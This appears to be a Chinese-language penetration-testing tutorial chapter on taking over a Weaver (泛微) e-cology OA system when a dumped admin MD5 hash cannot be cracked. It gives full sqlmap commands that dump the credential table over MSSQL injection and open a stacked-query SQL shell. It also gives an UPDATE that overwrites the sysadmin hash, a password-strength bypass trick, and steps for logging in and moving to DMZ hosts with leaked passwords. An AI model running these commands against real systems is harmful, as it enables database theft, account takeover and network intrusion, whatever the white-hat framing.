跳转至

极端情况

内容简介

本小节主要讲解了如果在注入出的 OA 密码的 MD5 无法解密的话,我们其他一些操作姿势的细节处理。文章中细节很多,只有真正去实战的朋友才可能会注意到这些问题,非纸上谈兵可以发现的。

无法解密?

假设万一管理员设置的密码很复杂,CMD5 网站无法解密的话,那我们 该怎么办呢?

image-20231129103817790

其实真实的实战中运气总不会是那么好的,所以我们得想办法来看看其他的思路。

记录信息

我们接下来操作准备是强制修改覆盖掉 sysadmin 的密码信息了,但是作为一个合格的白帽子,我们测试完之后记得恢复原状,所以先提前把之前的 sysadmin 的相关信息记录下来:

python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid -D ecology -T hrmresourcemanager -C "id,loginid,password,salt,hashData,signData" --dump

但是不够美观:

image-20231129163547308

我们可以直接去蚁剑的服务器上看 SQLMap 的 Dump 记录,这样排版会更直观一些:

image-20231129163718851

堆叠覆盖

这里因为需要覆盖 SQL 肯定是需要 update 语句来操作的,所以肯定是需要利用 MSSQL 的堆叠查询特性,所以我们的 SQLMap 的注入语句 -technique=T 得由原来的 T 延时盲注,再加一个S,这表示额外增加堆叠查询,然后我们直接利用 --sql-shell 进入 SQLMap 的 SQL 交互模式,这样我们是可以直接敲自定义的 SQL 语句了:

python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --sql-shell
SQLMap 进阶使用教程(点击展开)

关于 SQLMap 的进阶使用教程呢,大家可以参考国光在社区里面分享的: 国光在安恒工作期间制作的 SQL 注入进阶PPT分享展示的帖子 即可。

接下来直接把 sysadmin 的密码修改为:Win.sqlsec.c0m,因为泛微 OA 还存在 salt、hashData、signData 校验 sysadmin 的相关认证信息,所以也顺便把他们给置空:

update HrmResourceManager set password = '06F54FBB0BCCE86B9280B1FA559A78A5', salt='',hashdata='',signdata=''  where id=1

强制覆盖泛微超管密码的一些细节姿势

泛微会对我们的密码进行复杂度校验,哪怕是我们强制去数据库覆盖的密码,如果复杂度不够高的话,也是无法正常登录的。比如你强制覆盖了 12345678 为密码也是无济于事的,所以需要覆盖这种类似于 P@ssw0rd 这种满足密码强度要素的密码。

但是还存着特例,如果我们覆盖 C4CA4238A0B923820DCC509A6F75849B 这个 1 的 MD5 值的话,也是可以成功登录的,相当于 1 这个密码属于范围的特例不会被校验强度的密码。

但是这里不知道是环境问题还是 SQLMap 的 sql-shell 特性问题,我们并不没有成功执行 update 语句:

image-20231129221357235

打开 SQLMap 的 -v 5 查看详细日志:

python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --sql-shell -v 5

update HrmResourceManager set password = '06F54FBB0BCCE86B9280B1FA559A78A5', salt='',hashdata='',signdata=''  where id=1

关闭编码

update 语句的细节如下,猜测大概率是 SQLMap 的字符串编码机制的锅:

image-20231129224537091

那我们使用 --no-escape 参数来手动关闭一下:

python sqlmap.py -r sqlmap.txt --random-agent --tamper=space2plus --technique=ST --dbms=mssql --skip-urlencode -p fileid --sql-shell -v 5 --no-escape

update HrmResourceManager set password = '06F54FBB0BCCE86B9280B1FA559A78A5',salt='',hashData='',signData=''

确实成功关闭了字符串编码了:

image-20231129224816183

上帝模式的视角下看看,果然成功执行了 update 语句了:

image-20231129232658927

登录系统

那我们直接使用 sysadmin/Win.sqlsec.c0m 来登录 OA 系统吧,成功登录:

image-20231129232810465

在 OA 系统的知识库中直接翻阅到了运维相关的敏感记录,运维人员很周到的列出了网络架构,并对其进行了讲解,且直接给了一些关键系统的认证密码信息了,准备直接起飞:

image-20231129233043748

最后大家改完密码的话,记得给人家管理员恢复一下原来的密码哦!否则搞出生产事故,这种锅就解释不清楚了。

登录主机

通过 OA 系列里面泄露的信息,DMZ 区域里面的主机信息一览无余了:

image-20231204155412615

  1. 我们拿到了 172.18.100.10 Web 站点服务器的 root 权限
  2. 我们也拿到了 172.18.100.101 泛微 Wndows Server 2016 的管路员权限
  3. 我们还获得了一个管理员开的内网 Socks 代理隧道

172.18.100.10

密码就是 OA 里面泄露的密码,登录后也可以看到服务器安装了宝塔面板:

image-20231204160405203

172.18.100.101

密码就是 OA 里面泄露的密码,登录后发现这个 DMZ 区的服务器只是一个工作组,还不是域环境:

image-20231204160644354